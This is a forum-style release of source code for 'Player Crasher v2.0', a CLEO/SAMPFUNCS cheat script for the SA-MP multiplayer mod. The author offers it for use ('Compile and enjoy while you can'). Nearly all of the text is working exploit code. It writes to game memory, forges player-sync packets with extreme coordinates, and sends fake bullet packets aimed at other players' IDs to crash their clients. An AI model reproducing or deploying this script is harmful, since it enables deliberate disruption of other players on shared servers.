Player Crasher v2.0 by Mr.Ze
v1.5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | {$CLEO} {$INCLUDE SF} 0000: NOP 0B34: samp register_client_command "CrashDebug" to_label @Debugger 24@ = 0 0B34: samp register_client_command "Crash" to_label @Crasher 0B2E: 10@ = read_samp_memory offset 0x41E0 size 1 WHILE TRUE wait 0 0A8D: 29@ = read_memory 0xB74490 size 4 virtual_protect 0 000A: 29@ += 0x4 0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0 for 30@ = 0 to 35584 step 0x100 0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0 000A: 29@ += 0x1 if and 0029: 31@ >= 0x00 001B: 0x80 > 31@ then 005A: 31@ += 30@ end end if 25@ == 1 then 04C4: store_coords_to 6@ 7@ 8@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 999999999.999999999 0B2D: write_samp_memory offset 0x41E0 value 0xC3 size 1 call @SENDONFOOTFAKEPOSITION 3 6@ 7@ 8@ call @SENDFAKEBULLET 1 31@ // 31@ = player id end end :Debugger wait 0 0B12: 24@ = 24@ XOR 1 if 24@ == 1 then 0B2D: write_samp_memory offset 0x41E0 value 0xC3 size 1 call @SENDONFOOTFAKEPOSITION 3 6@ 7@ 8@ 0AF8: samp add_message_to_chat "{22FF22}[Crasher]: {00bfdb}Successfully debugged!" color 12517890 SAMP.Spawn() 0AF6: samp spawn_player 04C4: store_coords_to 6@ 7@ 8@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 -999999999.999999999 00A1: put_actor $PLAYER_ACTOR at 6@ 7@ 8@ 0972: put_actor $PLAYER_ACTOR at 6@ 7@ 8@ no_offset wait 1337 print "Your character has been debugged." 3000 00BA: show_text_styled GXT "Your character has been debugged." time 3000 style 2 // Beefy Baron wait 3130 print "RELOG" 3000 00BA: show_text_styled GXT "RELOG" time 3000 style 2 // Beefy Baron 0B2D: write_samp_memory offset 0x41E0 value 10@ size 1 end 0B43: samp cmd_ret :Crasher 0B12: 25@ = 25@ XOR 1 if 25@ == 1 then 0AF8: samp add_message_to_chat "{22FF22}[Crasher]: {FFFF00}Activated" color 12517890 Model.Load(#minigun) 01B2: give_actor $PLAYER_ACTOR weapon 38 ammo 999999 else 0AF8: samp add_message_to_chat "{22FF22}[Crasher]: {FFFF00}Deactivated" color 12517890 0555: remove_weapon 38 from_actor $PLAYER_ACTOR Model.Destroy(#minigun) 0B2D: write_samp_memory offset 0x41E0 value 10@ size 1 end 0B43: samp cmd_ret :SENDONFOOTFAKEPOSITION 3@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR) 3@ = SAMP.GetPlayerStruct(3@) 3@ += 55 0AC8: 4@ = allocate_memory_size 68 0C10: memcpy destination 4@ source 3@ size 68 0C0D: struct 4@ offset 6 size 4 = 0@ 0C0D: struct 4@ offset 10 size 4 = 1@ 0C0D: struct 4@ offset 14 size 4 = 2@ 0B3D: raknet 5@ = new_bit_stream 0B40: raknet bit_stream 5@ write PACKET_PLAYER_SYNC type BS_TYPE_BYTE size 1 0B40: raknet bit_stream 5@ write 4@ type BS_TYPE_ARRAY size 68 0B8B: raknet send bit_stream 5@ 0B3E: raknet delete_bit_stream 5@ 0AC9: free_allocated_memory 4@ 0AB2: 0 :SENDFAKEBULLET alloc 5@ 39 0C0D: struct 5@ offset 0 size 1 = 1 0C0D: struct 5@ offset 1 size 2 = 31@ 0C0D: struct 5@ offset 27 size 4 = 0.0 0C0D: struct 5@ offset 31 size 4 = 0.0 0C0D: struct 5@ offset 35 size 4 = 0.0 6@ = RakNet.NewBitStream() BitStream.Write(6@, 224, BS_TYPE_BYTE, 1) BitStream.Write(6@, 5@, BS_TYPE_ARRAY, 39) RakNet.LiteSend(6@) RakNet.DeleteBitStream(6@) free 5@ ret 0 |
Yes, I am releasing the source to my own script. Why? Because it has already got leaked, and now you see it in SF plugins, in s0beits, and everywhere. It's slowly getting patched, but this might just get it patched faster. Compile and enjoy while you can.
Hacked and decrypted by Mr.Ze
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